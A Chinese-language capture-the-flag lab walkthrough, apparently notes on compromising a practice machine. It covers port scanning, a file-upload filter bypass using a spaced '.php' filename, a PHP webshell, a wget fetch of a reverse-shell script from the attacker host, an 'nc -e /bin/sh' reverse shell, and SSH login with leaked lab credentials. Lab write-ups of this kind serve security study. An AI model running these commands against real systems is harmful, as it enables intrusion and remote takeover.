启动机器
得指定网络接口
sudo arp-scan -I eth5 -l
端口扫描
sudo rustscan -a 192.168.10.13 -r 1-65535 -t 8000 --ulimit 5000
sudo nmap 192.168.10.13 -sT -Pn -p22,80 -sV -sC -O -oN portscan/norm
sudo nmap 192.168.10.13 -sT -Pn -p22,80 --script=vuln -oN portscan/vuln
利用空格绕过文件上传过滤
测试之后是检查文件名, 而不是文件头, 而且图片马不能正常解析
-
非 jpeg 格式的无法上传
-
jpeg 格式能够正常上传 后面尝试了图片马, 但是没有正常解析, 无法执行命令
使用空格绕过
"webshell.jpeg .php"
一句话木马, 获得 webshell freddie
webshell
上传一个反向 shell
wget http://192.168.10.11:8000/php-reverse-shell.php -O /tmp/shell.php
吐了, 不清楚为啥反向 shell, 不稳定, 执行不了命令, 使用 nohup 也没有稳定下来
nohup nc -e /bin/sh 192.168.10.11 1234
利用脚本中泄露的mysql密码
#!/bin/bash
# script that checks the database's integrity every minute
dump=/dev/shm/dump.sql
log=/var/log/db_integrity_check.log
true > "${log}"
/usr/bin/mysqldump -u admin -pudgrJbFc6Av#U3 admin credentials > "${dump}"
/usr/bin/sed -i '$d' "${dump}"
hash="29d8e6b76aab0254f7fe439a6a5d2fba64270dde087e6dfab57fa57f6749858a"
check_hash=$(sha256sum "${dump}" | awk '{print $1}')
if [[ "${hash}" != "${check_hash}" ]] ; then
/usr/bin/wall "Alert ! Database hacked !"
/usr/bin/du -sh /var/lib/mysql >> "${log}"
/usr/bin/vmstat 1 3 >> "${log}"
else
/usr/bin/sync && /usr/bin/echo 3 > /proc/sys/vm/drop_caches
/usr/bin/echo "$(date) : Integrity check completed for ${dump}" >> "${log}"
fi
最后使用 meterpreter 的这个更高级的 shell 成功了
user. txt PWD
Freddie | LDVK@dYiEa2I1lnjrEeoMif
ssh [email protected]
LDVK@dYiEa2I1lnjrEeoMif
提权
这个逻辑真的没弄懂 ,好像是先配置这个报告程序, 然后利用利用新增报告的功能点, 打开 vim, 然后获取 root 用 GPT 梳理一下逻辑